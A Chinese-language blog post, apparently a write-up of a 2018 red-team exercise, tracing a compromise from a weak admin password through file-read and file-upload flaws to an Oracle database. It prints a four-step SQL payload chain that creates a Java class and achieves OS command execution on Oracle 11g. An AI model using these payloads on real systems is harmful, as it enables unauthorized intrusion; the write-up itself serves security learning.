渗透体系的本质是知识点的串联-2

自从Micropoor分享了深圳护网总结以后,我感触良深,遂分享一篇与之类似的文章,虽不如Micropoor的案例有技术含量,但也是“渗透体系的本质是知识点的串联”的一种体现。希望在2019能够成为Micropoor一样的大牛。

本案例来源于2018四川护网行动,总结于2018.12.30。

发现站点漏洞

这个站点漏洞发现的过程有点意思,下午看同事在群里提到edu-src,晚上回来闲逛,愁了一下edu-src上最近一段时间提交的目标站点的漏洞,然后发现以下内容:

打开网站进行测试,发现存在验证码,因此想到这个弱口令不是爆破出来的,而是几次尝试就可以的出来的。

后来拿到用户名及密码:admin / **

寻找后台漏洞

任意文件上传

找到一个两个上传点,一个是上传头像的,另一个是上传附件的。

上传头像的上传点只能上传jpg文件,而上传附件的上传点是任意文件上传

肯定没有那么简单,上传成功后,无返回路径:

想到页面中上传点也有个下载的链接,抓取其数据包。

找到路径,访问如下:

最开始以为是马的问题,换了几个马都是这样,甚至上传.html文件也是返回400。

任意文件读取

想到刚才查看附件那可能存在任意文件读取漏洞,遂测试。

的确可以读取任意文件,后来在WEB-INF/web.xml中找到了数据库配置文件,如下图。

公网的数据库,已经得出账号密码了,并且可以链接,但是是站库分离。

数据库服务器提权

Oracle是11g版本的,使用OracleShell无法进行执行命令,然后用以下方法进行提权。

1.创建JAVA包

1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace and compile java source named "LinxUtil" as import java.io.*; public class LinxUtil extends Object {public static String runCMD(String args) {try{BufferedReader myReader= new BufferedReader(new InputStreamReader( Runtime.getRuntime().exec(args).getInputStream() ) ); String stemp,str="";while ((stemp = myReader.readLine()) != null) str +=stemp+"\n";myReader.close();return str;} catch (Exception e){return e.toString();}}}'';commit;end;') from dual;

2.JAVA权限

1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''begin dbms_java.grant_permission( ''''SYSTEM'''', ''''SYS:java.io.FilePermission'''', ''''<<ALL FILES>>'''',''''EXECUTE'''');end;''commit;end;') from dual;

3.创建函数

1
select dbms_xmlquery.newcontext('declare PRAGMA AUTONOMOUS_TRANSACTION;begin execute immediate ''create or replace function LinxRunCMD(p_cmd in varchar2) return varchar2 as language java name ''''LinxUtil.runCMD(java.lang.String) return String''''; '';commit;end;') from dual;

4.执行命令

1
select LinxRUNCMD('whoami') from dual;

权限如下图所示。

遗憾的是没有办法执行其他命令。

总结

1.信息收集决定了漏洞的产出,如果不是翻看edu-src,我将不会发现9999端口的Web服务,也不会进入这个系统。

2.学习能力很重要,提权部分过程是我导师Kavia进行的,他说直接从网上找到的方法进行测试的,而我并未发现那篇文章,找到的方法均测试失败,所以知识发现与学习的过程也是成败的关键。

3.获取更高的权限不仅是传统的渗透测试可以达到的,逻辑漏洞有时也会使攻击者打开通往更高权限的大门。